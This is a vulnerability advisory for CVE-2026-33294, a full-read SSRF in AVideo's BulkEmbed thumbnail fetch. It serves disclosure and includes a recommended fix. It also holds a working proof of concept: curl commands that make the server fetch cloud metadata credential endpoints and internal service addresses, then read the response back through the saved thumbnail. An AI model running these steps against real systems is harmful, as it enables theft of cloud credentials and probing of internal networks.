CVE-2026-33294
MEDIUM5.0EPSS 0.01%AVideo Affected by SSRF in BulkEmbed Thumbnail Fetch Allows Reading Internal Network Resources
描述
## Summary The BulkEmbed plugin's save endpoint (`plugin/BulkEmbed/save.json.php`) fetches user-supplied thumbnail URLs via `url_get_contents()` without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with `isSSRFSafeURL()`, this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail. ## Details When saving bulk-embedded videos, user-supplied thumbnail URLs from `$_POST['itemsToSave'][x]['thumbs']` flow directly into `url_get_contents()` with no SSRF validation: **`plugin/BulkEmbed/save.json.php:68-105`** ```php foreach ($_POST['itemsToSave'] as $value) { foreach ($value as $key => $value2) { $value[$key] = xss_esc($value2); // HTML entity encoding — irrelevant for SSRF } // ... $poster = Video::getPathToFile("{$paths['filename']}.jpg"); $thumbs = $value['thumbs']; // ← attacker-controlled URL if (!empty($thumbs)) { $contentThumbs = url_get_contents($thumbs); // ← fetched without SSRF check if (!empty($contentThumbs)) { make_path($poster); $bytes = file_put_contents($poster, $contentThumbs); // ← response saved to disk } } // ... $videos->setStatus('a'); // ← video set to active, thumbnail publicly accessible ``` The `url_get_contents()` function internally calls `isValidURLOrPath()` which only validates URL format (scheme, host presence) — it does **not** block requests to private IPs, localhost, or cloud metadata endpoints. **All other URL-fetching endpoints are protected.** The `isSSRFSafeURL()` function is called in: - `plugin/Scheduler/Scheduler.php` - `plugin/LiveLinks/proxy.php` (two call sites) - `plugin/AI/receiveAsync.json.php` - `objects/aVideoEncoder.json.php` - `objects/aVideoEncoderReceiveImage.json.php` BulkEmbed is the only URL-fetching endpoint that was not hardened. **This is a full-read SSRF**, not blind — the HTTP response body is written to disk as the video thumbnail and served to the attacker when they view the video poster image. ## PoC **Prerequisites:** Authenticated session with BulkEmbed permission. The `onlyAdminCanBulkEmbed` option defaults to `true` (line 41 of `BulkEmbed.php`), but is commonly disabled for multi-user platforms. **Step 1: Authenticate and obtain session cookie** ```bash COOKIE=$(curl -s -c - "http://avideo.local/user" \ -d "user=testuser&pass=testpass&redirectUri=/" | grep PHPSESSID | awk '{print $NF}') ``` **Step 2: Send BulkEmbed save request with internal URL as thumbnail** ```bash curl -s -b "PHPSESSID=$COOKIE" \ "http://avideo.local/plugin/BulkEmbed/save.json.php" \ -d "itemsToSave[0][title]=SSRF+Test" \ -d "itemsToSave[0][description]=test" \ -d "itemsToSave[0][duration]=PT1M" \ -d "itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \ -d "itemsToSave[0][thumbs]=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \ -d "itemsToSave[0][date]=" ``` **Expected response:** ```json {"error":false,"msg":[{"video":{...},"value":{...},"videos_id":123}],"playListId":0} ``` **Step 3: Retrieve the SSRF response from the saved thumbnail** ```bash # Extract the filename from the response, then fetch the poster image curl -s "http://avideo.local/videos/{filename}.jpg" ``` The content of the internal HTTP response (e.g., AWS IAM role names from the metadata service) is returned as the image file content. **Cloud metadata example targets:** - `http://169.254.169.254/latest/meta-data/iam/security-credentials/` — AWS IAM role names - `http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}` — temporary AWS credentials - `http://metadata.google.internal/computeMetadata/v1/` — GCP metadata (requires header, may not work) - `http://169.254.169.254/metadata/instance?api-version=2021-02-01` — Azure instance metadata **Internal network scanning:** - `http://10.0.0.1:8080/` — probe internal services - `http://localhost:3306/` — probe local database ports ## Impact - **Cloud credential theft:** On AWS/GCP/Azure-hosted instances, an attacker can retrieve cloud IAM credentials from the metadata service, potentially gaining access to cloud infrastructure (S3 buckets, databases, other services). - **Internal network reconnaissance:** Attacker can map internal network topology by probing private IP ranges and observing which requests return content vs. timeout. - **Internal service data exfiltration:** Any HTTP-accessible internal service (admin panels, monitoring dashboards, databases with HTTP interfaces) can have its responses exfiltrated through the thumbnail mechanism. - **Scope change:** The attack crosses security boundaries — from the web application into the internal network/cloud infrastructure, which is a different trust zone. ## Recommended Fix Add `isSSRFSafeURL()` validation before the `url_get_contents()` call in `plugin/BulkEmbed/save.json.php`, consistent with all other URL-fetching endpoints: ```php $thumbs = $value['thumbs']; if (!empty($thumbs)) { if (!isSSRFSafeURL($thumbs)) { _error_log("BulkEmbed: SSRF protection blocked thumbnail URL: " . $thumbs); continue; } $contentThumbs = url_get_contents($thumbs); if (!empty($contentThumbs)) { make_path($poster); $bytes = file_put_contents($poster, $contentThumbs); _error_log("thumbs={$thumbs} poster=$poster bytes=$bytes strlen=" . strlen($contentThumbs)); } else { _error_log("ERROR thumbs={$thumbs} poster=$poster"); } } ```
受影響套件(1)
- Packagist/wwbn/avideofrom 0, <= 25.0
CVSS 分數
| 來源 | 版本 | 嚴重程度 | 向量 |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM5.0 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N |